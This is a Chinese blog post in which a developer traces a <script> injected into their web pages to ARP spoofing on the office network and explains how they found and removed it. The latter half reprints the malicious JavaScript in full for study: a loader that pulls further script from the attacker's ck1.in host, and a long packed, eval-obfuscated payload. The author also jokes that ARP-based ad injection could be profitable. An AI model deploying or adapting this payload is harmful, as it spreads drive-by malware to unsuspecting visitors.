今天一早, 突然发现昨晚工作到深夜的成果Symfony API显示不正常, 寻找原因,发现html的首行加入了《script src=http://ck1.in/N.JS》《/script》 .
异常发现:
今天一早, 突然发现昨晚工作到深夜的成果Symfony API显示不正常, 寻找原因,发现html的首行加入了<script src=http://ck1.in/N.JS></script> .
原因分析与验证:
1. 难道文件不小心被感染了? 到服务器上查看了一下文件, 发现很正常, 没有多余的代码.
2. 服务器被感染了, apache 返回html的时候自动加上代码? 在服务器上运行了wget一下, 发现获得的代码没问题. 看来问题出在客户端或者网络上.
3. 在服务器上构造了一个只有3个字符的静态页面, 在本地访问了一下, 仍然发现相同的js代码. 这样, 用它来做判断标准.
3. 杀毒软件出动. 我比较懒, 没安杀毒软件. 但对360safe比较有信心. 用他查了一边, 排查重点放在 网络异常驱动和LSP连接上, 但还是没有发现异常.
4. 上网查查吧. baidu,google 了一大通, 没有任何可用的信息.
5. 换台计算机吧. 别人都在忙, 还是用虚拟机吧. 启动了vmware 下的centos, 访问了一下, 没有发现js代码, 于是我基本可以断定问题处在我的windows上.
6. 公司里测试人员报了一个bug, 技术人员一调试也发现了相同的js代码. My God, 我用其他的计算机放问了一下测试页, 均发现相同的js代码.
7. 终极武器出动: Sniffer Pro. 此步之前, 我是用HTTPwatch 抓IE的包, 监听不够彻底, 于是现下了一个sniffer pro. 启动了sniffer pro, 发现arp reply 异常的多. 路由器异常? 因为公司刚换了路由器, 所以没有在意. 设置了filter, 抓取本地访问只有3个字符的测试页面, 查看数据包. 我的天!!! 竟然sniffer pro 也抓到了那段JS. 因为经历了第5步排查, 我基本断定问题处在本地计算机上. 于是,我怀疑起sniffer pro:原来 sniffer pro的驱动也不够底层, 竟然可以被病毒提前修改数据包.
7. 无计可施了. 既然找不到原因, 看来重装系统比较快捷了. 在死之前, 还是仔细研究一下为什么arp reply这么多吧. ARP欺骗? 把数据包的源MAC和路由器管理界面的本地MAC对照一下, 发现了大秘密: 原来这一切很可能是ARP欺骗的原因.
8. 验证是否是ARP欺骗. 通过种种手段, 找到了犯罪嫌疑机器, 来了一个潇洒的"右击->禁用", 然后在被发现同样中招的机器上来一个高深的 "arp -d", 然后访问测试页面, Very good, 不再有那可恶的js了.
总结.
a. 原来这是ARP做的孽. 在我印象里, arp欺骗常被人用来非法监听数据包,盗取密码, 没想到可以这样...... 用它来弹出广告应该不错, 可以赚很多钱 呵呵~~~
b. 本日志也算是总结吧, 把发现问题,寻找问题的思路写出来, 希望对大家有用~
c. 至于这个可恶的代码是干什么的, 写的比较高深, 以后研究吧~~
附带相关病毒文件代码,以待有识之士研究:
http://ck1.in/N.JS
document.writeln("<script src=\"http:\/\/ck1.in\/S368\/NewJs2.js\"><\/script>");
document.writeln("<script>");
document.writeln("function Start(){");
document.writeln("var Then = new Date() ");
document.writeln("Then.setTime(Then.getTime() + 24*60*60*1000)");
document.writeln("var cookieString = new String(document.cookie)");
document.writeln("var cookieHeader = \"Cookie1=\" ");
document.writeln("var beginPosition = cookieString.indexOf(cookieHeader)");
document.writeln("if (beginPosition != -1){ ");
document.writeln("} else ");
document.writeln("{ document.cookie = \"Cookie1=POPWINDOS;expires=\"+ Then.toGMTString() ");
document.writeln("");
document.writeln("}");
document.writeln("}");
document.writeln("Start();");
document.writeln("<\/script>") http:\\ck1.in\S368\NewJs2.js
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('1a("\\i\\g\\e\\h\\j\\2\\5\\3\\d\\m\\7\\8\\3\\2\\l\\5\\c\\4\\U\\q\\e\\7\\8\\G\\3\\T\\m\\8\\5\\i\\g\\m\\d\\g\\5\\2\\7\\7\\g\\7\\u\\N\\h\\5\\e\\3\\8\\g\\5\\c\\b\\W\\7\\2\\3\\h\\7\\5\\f\\3\\7\\h\\2\\9\\V\\U\\0\\11\\q\\e\\7\\8\\G\\3\\T\\4\\b\\9\\p\\o\\i\\g\\e\\h\\j\\2\\5\\3\\d\\m\\7\\8\\3\\2\\l\\5\\c\\4\\U\\q\\e\\7\\8\\G\\3\\T\\4\\b\\9\\p\\o\\i\\g\\e\\h\\j\\2\\5\\3\\d\\m\\7\\8\\3\\2\\l\\5\\c\\4\\f\\D\\17\\u\\0\\s\\0\\0\\1\\6\\K\\0\\0\\1\\n\\k\\0\\0\\1\\n\\k\\0\\0\\1\\n\\A\\0\\0\\1\\a\\H\\0\\0\\1\\t\\y\\0\\0\\1\\t\\y\\0\\0\\1\\6\\a\\0\\0\\1\\6\\I\\0\\0\\1\\a\\x\\0\\0\\1\\t\\B\\0\\0\\1\\6\\z\\0\\0\\1\\6\\B\\0\\0\\1\\t\\y\\0\\0\\1\\r\\a\\0\\0\\1\\a\\a\\0\\0\\1\\a\\6\\0\\0\\1\\a\\K\\0\\0\\1\\t\\y\\0\\0\\1\\r\\a\\0\\0\\1\\a\\a\\0\\0\\1\\a\\6\\0\\0\\1\\a\\K\\0\\0\\1\\t\\B\\0\\0\\1\\6\\r\\0\\0\\1\\n\\K\\0\\0\\1\\6\\r\\0\\s\\9\\4\\b\\9\\p\\o\\i\\g\\e\\h\\j\\2\\5\\3\\d\\m\\7\\8\\3\\2\\l\\5\\c\\4\\f\\F\\2\\q\\3\\w\\8\\w\\8\\u\\0\\s\\0\\s\\9\\4\\b\\9\\p\\o\\i\\g\\e\\h\\j\\2\\5\\3\\d\\m\\7\\8\\3\\2\\l\\5\\c\\4\\N\\h\\5\\e\\3\\8\\g\\5\\f\\10\\5\\L\\q\\c\\5\\b\\f\\4\\b\\9\\p\\o\\i\\g\\e\\h\\j\\2\\5\\3\\d\\m\\7\\8\\3\\2\\l\\5\\c\\4\\W\\f\\4\\b\\9\\p\\o\\i\\g\\e\\h\\j\\2\\5\\3\\d\\m\\7\\8\\3\\2\\l\\5\\c\\4\\f\\O\\v\\7\\f\\5\\h\\j\\P\\2\\7\\L\\q\\f\\u\\f\\L\\v\\3\\Q\\d\\7\\v\\5\\i\\g\\j\\c\\b\\19\\5\\9\\4\\b\\9\\p\\o\\i\\g\\e\\h\\j\\2\\5\\3\\d\\m\\7\\8\\3\\2\\l\\5\\c\\4\\f\\7\\2\\3\\h\\7\\5\\f\\0\\s\\0\\0\\1\\n\\B\\0\\0\\1\\r\\k\\0\\0\\1\\6\\r\\0\\0\\1\\6\\D\\0\\0\\1\\n\\A\\0\\s\\R\\L\\v\\3\\Q\\d\\7\\g\\h\\5\\i\\c\\5\\h\\j\\P\\2\\7\\L\\q\\b\\R\\0\\s\\0\\0\\1\\t\\B\\0\\0\\1\\n\\k\\0\\0\\1\\6\\D\\0\\0\\1\\n\\A\\0\\s\\9\\4\\b\\9\\p\\o\\i\\g\\e\\h\\j\\2\\5\\3\\d\\m\\7\\8\\3\\2\\l\\5\\c\\4\\V\\f\\4\\b\\9\\p\\o\\i\\g\\e\\h\\j\\2\\5\\3\\d\\m\\7\\8\\3\\2\\l\\5\\c\\4\\f\\3\\7\\Z\\f\\4\\b\\9\\p\\o\\i\\g\\e\\h\\j\\2\\5\\3\\d\\m\\7\\8\\3\\2\\l\\5\\c\\4\\W\\4\\b\\9\\p\\o\\i\\g\\e\\h\\j\\2\\5\\3\\d\\m\\7\\8\\3\\2\\l\\5\\c\\4\\f\\F\\2\\q\\3\\w\\8\\w\\8\\u\\0\\s\\0\\s\\9\\4\\b\\9\\p\\o\\i\\g\\e\\h\\j\\2\\5\\3\\d\\m\\7\\8\\3\\2\\l\\5\\c\\4\\f\\O\\v\\7\\f\\I\\N\\u\\i\\g\\e\\h\\j\\2\\5\\3\\d\\e\\7\\2\\v\\3\\2\\B\\l\\2\\j\\2\\5\\3\\c\\0\\4\\0\\0\\1\\6\\y\\0\\0\\1\\6\\t\\0\\0\\1\\6\\H\\0\\0\\1\\6\\r\\0\\0\\1\\6\\a\\0\\0\\1\\n\\k\\0\\4\\b\\9\\4\\b\\9\\p\\o\\i\\g\\e\\h\\j\\2\\5\\3\\d\\m\\7\\8\\3\\2\\l\\5\\c\\4\\f\\I\\N\\d\\q\\2\\3\\H\\3\\3\\7\\8\\P\\h\\3\\2\\c\\0\\4\\0\\0\\1\\6\\a\\0\\0\\1\\6\\E\\0\\0\\1\\6\\x\\0\\0\\1\\n\\a\\0\\0\\1\\n\\a\\0\\0\\1\\6\\z\\0\\0\\1\\6\\k\\0\\4\\C\\0\\4\\0\\0\\1\\6\\a\\0\\0\\1\\6\\E\\0\\0\\1\\n\\a\\0\\0\\1\\6\\z\\0\\0\\1\\6\\k\\0\\0\\1\\a\\H\\0\\0\\1\\k\\t\\0\\0\\1\\k\\k\\0\\0\\1\\a\\z\\0\\0\\1\\a\\6\\0\\0\\1\\k\\a\\0\\0\\1\\a\\r\\0\\0\\1\\a\\r\\0\\0\\1\\a\\6\\0\\0\\1\\t\\D\\0\\0\\1\\a\\6\\0\\0\\1\\a\\r\\0\\0\\1\\k\\x\\0\\0\\1\\a\\a\\0\\0\\1\\t\\D\\0\\0\\1\\a\\x\\0\\0\\1\\a\\x\\0\\0\\1\\k\\k\\0\\0\\1\\a\\A\\0\\0\\1\\t\\D\\0\\0\\1\\a\\z\\0\\0\\1\\a\\K\\0\\0\\1\\a\\a\\0\\0\\1\\k\\x\\0\\0\\1\\t\\D\\0\\0\\1\\a\\A\\0\\0\\1\\a\\A\\0\\0\\1\\k\\a\\0\\0\\1\\a\\A\\0\\0\\1\\a\\k\\0\\0\\1\\k\\6\\0\\0\\1\\k\\a\\0\\0\\1\\a\\t\\0\\0\\1\\a\\z\\0\\0\\1\\k\\r\\0\\0\\1\\a\\a\\0\\0\\1\\a\\6\\0\\4\\b\\9\\4\\b\\9\\p\\o\\i\\g\\e\\h\\j\\2\\5\\3\\d\\m\\7\\8\\3\\2\\l\\5\\c\\4\\f\\O\\v\\7\\f\\Y\\1\\u\\I\\N\\d\\E\\7\\2\\v\\3\\2\\S\\P\\X\\2\\e\\3\\c\\0\\4\\0\\0\\1\\k\\D\\0\\0\\1\\6\\z\\0\\0\\1\\6\\a\\0\\0\\1\\n\\t\\0\\0\\1\\6\\y\\0\\0\\1\\n\\a\\0\\0\\1\\6\\y\\0\\0\\1\\6\\6\\0\\0\\1\\n\\k\\0\\0\\1\\t\\B\\0\\0\\1\\r\\K\\0\\4\\R\\0\\4\\0\\0\\1\\k\\D\\0\\0\\1\\k\\E\\0\\0\\1\\k\\K\\0\\0\\1\\r\\k\\0\\0\\1\\r\\k\\0\\0\\1\\r\\A\\0\\4\\C\\0\\4\\0\\4\\b\\9\\4\\b\\9\\p\\o\\i\\g\\e\\h\\j\\2\\5\\3\\d\\m\\7\\8\\3\\2\\l\\5\\c\\4\\f\\O\\v\\7\\f\\H\\J\\u\\I\\N\\d\\E\\7\\2\\v\\3\\2\\S\\P\\X\\2\\e\\3\\c\\0\\4\\0\\0\\1\\k\\x\\0\\0\\1\\6\\k\\0\\0\\1\\6\\y\\0\\0\\1\\6\\k\\0\\0\\1\\6\\t\\0\\0\\1\\t\\B\\0\\0\\1\\r\\a\\0\\0\\1\\n\\k\\0\\0\\1\\n\\t\\0\\0\\1\\6\\r\\0\\0\\1\\6\\x\\0\\0\\1\\6\\D\\0\\4\\C\\0\\4\\0\\4\\b\\9\\4\\b\\9\\p\\o\\i\\g\\e\\h\\j\\2\\5\\3\\d\\m\\7\\8\\3\\2\\l\\5\\c\\4\\f\\F\\2\\q\\3\\w\\8\\w\\8\\u\\0\\s\\0\\s\\9\\4\\b\\9\\p\\o\\i\\g\\e\\h\\j\\2\\5\\3\\d\\m\\7\\8\\3\\2\\l\\5\\c\\4\\f\\H\\J\\d\\3\\Z\\G\\2\\u\\x\\9\\4\\b\\9\\p\\o\\i\\g\\e\\h\\j\\2\\5\\3\\d\\m\\7\\8\\3\\2\\l\\5\\c\\4\\f\\F\\2\\q\\3\\w\\8\\w\\8\\u\\0\\s\\0\\s\\9\\4\\b\\9\\p\\o\\i\\g\\e\\h\\j\\2\\5\\3\\d\\m\\7\\8\\3\\2\\l\\5\\c\\4\\f\\Y\\1\\d\\g\\G\\2\\5\\c\\0\\4\\0\\0\\1\\k\\n\\0\\0\\1\\k\\r\\0\\0\\1\\r\\k\\0\\4\\C\\f\\D\\17\\C\\A\\b\\9\\4\\b\\9\\p\\o\\i\\g\\e\\h\\j\\2\\5\\3\\d\\m\\7\\8\\3\\2\\l\\5\\c\\4\\f\\F\\2\\q\\3\\w\\8\\w\\8\\u\\0\\s\\0\\s\\9\\4\\b\\9\\p\\o\\i\\g\\e\\h\\j\\2\\5\\3\\d\\m\\7\\8\\3\\2\\l\\5\\c\\4\\f\\Y\\1\\d\\q\\2\\5\\i\\c\\b\\9\\4\\b\\9\\p\\o\\i\\g\\e\\h\\j\\2\\5\\3\\d\\m\\7\\8\\3\\2\\l\\5\\c\\4\\f\\F\\2\\q\\3\\w\\8\\w\\8\\u\\0\\s\\0\\s\\9\\4\\b\\9\\p\\o\\i\\g\\e\\h\\j\\2\\5\\3\\d\\m\\7\\8\\3\\2\\l\\5\\c\\4\\f\\M\\q\\x\\u\\10\\5\\L\\q\\c\\z\\z\\z\\z\\b\\9\\4\\b\\9\\p\\o\\i\\g\\e\\h\\j\\2\\5\\3\\d\\m\\7\\8\\3\\2\\l\\5\\c\\4\\f\\F\\2\\q\\3\\w\\8\\w\\8\\u\\0\\s\\0\\s\\9\\4\\b\\9\\p\\o\\i\\g\\e\\h\\j\\2\\5\\3\\d\\m\\7\\8\\3\\2\\l\\5\\c\\4\\f\\O\\v\\7\\f\\e\\y\\u\\I\\N\\d\\E\\7\\2\\v\\3\\2\\S\\P\\X\\2\\e\\3\\c\\0\\4\\0\\0\\1\\r\\a\\0\\0\\1\\6\\a\\0\\0\\1\\n\\t\\0\\0\\1\\6\\z\\0\\0\\1\\n\\A\\0\\0\\1\\n\\k\\0\\0\\1\\6\\z\\0\\0\\1\\6\\B\\0\\0\\1\\6\\n\\0\\0\\1\\t\\B\\0\\0\\1\\k\\6\\0\\0\\1\\6\\z\\0\\0\\1\\6\\E\\0\\0\\1\\6\\r\\0\\0\\1\\r\\a\\0\\0\\1\\n\\z\\0\\0\\1\\n\\a\\0\\0\\1\\n\\k\\0\\0\\1\\6\\r\\0\\0\\1\\6\\D\\0\\0\\1\\k\\y\\0\\0\\1\\6\\t\\0\\0\\1\\6\\H\\0\\0\\1\\6\\r\\0\\0\\1\\6\\a\\0\\0\\1\\n\\k\\0\\4\\C\\0\\4\\0\\4\\b\\9\\4\\b\\9\\p\\o\\i\\g\\e\\h\\j\\2\\5\\3\\d\\m\\7\\8\\3\\2\\l\\5\\c\\4\\f\\O\\v\\7\\f\\M\\q\\F\\j\\G\\u\\e\\y\\d\\10\\2\\3\\J\\G\\2\\e\\8\\v\\l\\y\\g\\l\\i\\2\\7\\c\\A\\b\\9\\f\\M\\q\\x\\u\\f\\e\\y\\d\\I\\h\\8\\l\\i\\16\\v\\3\\Q\\c\\M\\q\\F\\j\\G\\C\\M\\q\\x\\b\\9\\f\\H\\J\\d\\S\\G\\2\\5\\c\\b\\9\\H\\J\\d\\18\\7\\8\\3\\2\\c\\Y\\1\\d\\7\\2\\q\\G\\g\\5\\q\\2\\I\\g\\i\\Z\\b\\9\\4\\b\\9\\p\\o\\i\\g\\e\\h\\j\\2\\5\\3\\d\\m\\7\\8\\3\\2\\l\\5\\c\\4\\f\\H\\J\\d\\J\\v\\O\\2\\F\\g\\y\\8\\l\\2\\c\\M\\q\\x\\C\\t\\b\\9\\f\\H\\J\\d\\E\\l\\g\\q\\2\\c\\b\\9\\f\\O\\v\\7\\f\\15\\u\\I\\N\\d\\E\\7\\2\\v\\3\\2\\S\\P\\X\\2\\e\\3\\c\\0\\4\\0\\0\\1\\r\\a\\0\\0\\1\\6\\K\\0\\0\\1\\6\\r\\0\\0\\1\\6\\E\\0\\0\\1\\6\\E\\0\\0\\1\\t\\B\\0\\0\\1\\k\\x\\0\\0\\1\\n\\A\\0\\0\\1\\n\\A\\0\\0\\1\\6\\E\\0\\0\\1\\6\\z\\0\\0\\1\\6\\a\\0\\0\\1\\6\\x\\0\\0\\1\\n\\k\\0\\0\\1\\6\\z\\0\\0\\1\\6\\y\\0\\0\\1\\6\\B\\0\\4\\C\\0\\4\\0\\4\\b\\9\\4\\b\\9\\p\\o\\i\\g\\e\\h\\j\\2\\5\\3\\d\\m\\7\\8\\3\\2\\l\\5\\c\\4\\f\\g\\13\\x\\u\\e\\y\\d\\I\\h\\8\\l\\i\\16\\v\\3\\Q\\c\\M\\q\\F\\j\\G\\R\\0\\s\\0\\0\\1\\r\\E\\0\\0\\1\\r\\E\\0\\0\\1\\n\\a\\0\\0\\1\\n\\z\\0\\0\\1\\n\\a\\0\\0\\1\\n\\k\\0\\0\\1\\6\\r\\0\\0\\1\\6\\D\\0\\0\\1\\a\\a\\0\\0\\1\\a\\t\\0\\s\\C\\0\\s\\0\\0\\1\\6\\a\\0\\0\\1\\6\\D\\0\\0\\1\\6\\k\\0\\0\\1\\t\\B\\0\\0\\1\\6\\r\\0\\0\\1\\n\\K\\0\\0\\1\\6\\r\\0\\s\\b\\9\\4\\b\\9\\p\\o\\i\\g\\e\\h\\j\\2\\5\\3\\d\\m\\7\\8\\3\\2\\l\\5\\c\\4\\f\\15\\d\\J\\w\\2\\14\\14\\B\\1\\2\\e\\h\\3\\2\\c\\g\\13\\x\\C\\0\\s\\0\\0\\1\\t\\A\\0\\0\\1\\t\\y\\0\\0\\1\\6\\a\\f\\0\\s\\R\\M\\q\\x\\C\\0\\4\\0\\4\\C\\0\\4\\0\\0\\1\\6\\y\\0\\0\\1\\n\\A\\0\\0\\1\\6\\r\\0\\0\\1\\6\\B\\0\\4\\C\\A\\b\\9\\4\\b\\9\\p\\o\\i\\g\\e\\h\\j\\2\\5\\3\\d\\m\\7\\8\\3\\2\\l\\5\\c\\4\\f\\F\\2\\q\\3\\w\\8\\w\\8\\u\\0\\s\\0\\s\\9\\4\\b\\9\\p\\o\\i\\g\\e\\h\\j\\2\\5\\3\\d\\m\\7\\8\\3\\2\\l\\5\\c\\4\\V\\f\\4\\b\\9\\p\\o\\i\\g\\e\\h\\j\\2\\5\\3\\d\\m\\7\\8\\3\\2\\l\\5\\c\\4\\f\\e\\v\\3\\e\\Q\\c\\L\\q\\12\\b\\f\\W\\f\\L\\q\\12\\u\\x\\9\\f\\V\\4\\b\\9\\p\\o\\i\\g\\e\\h\\j\\2\\5\\3\\d\\m\\7\\8\\3\\2\\l\\5\\c\\4\\f\\F\\2\\q\\3\\w\\8\\w\\8\\u\\0\\s\\0\\s\\9\\4\\b\\9\\p\\o\\i\\g\\e\\h\\j\\2\\5\\3\\d\\m\\7\\8\\3\\2\\l\\5\\c\\4\\U\\0\\11\\q\\e\\7\\8\\G\\3\\T\\4\\b")',62,73,'x5C|x78|x65|x74|x22|x6E|x36|x72|x69|x3B|x33|x29|x28|x2E|x63|x20|x6F|x75|x64|x6D|x34|x6C|x77|x37|x0A|x0D|x73|x35|x27|x32|x3D|x61|x48|x31|x46|x39|x30|x45|x2C|x44|x43|x54|x70|x41|x42|x53|x38|x4D|x4E|x66|x76|x62|x68|x2B|x4F|x3E|x3C|x7D|x7B|x6A|x4B|x79|x47|x2F|x49|x6B|x4C|x71|x50|x5A|x57|x2A|eval'.split('|'),0,{}))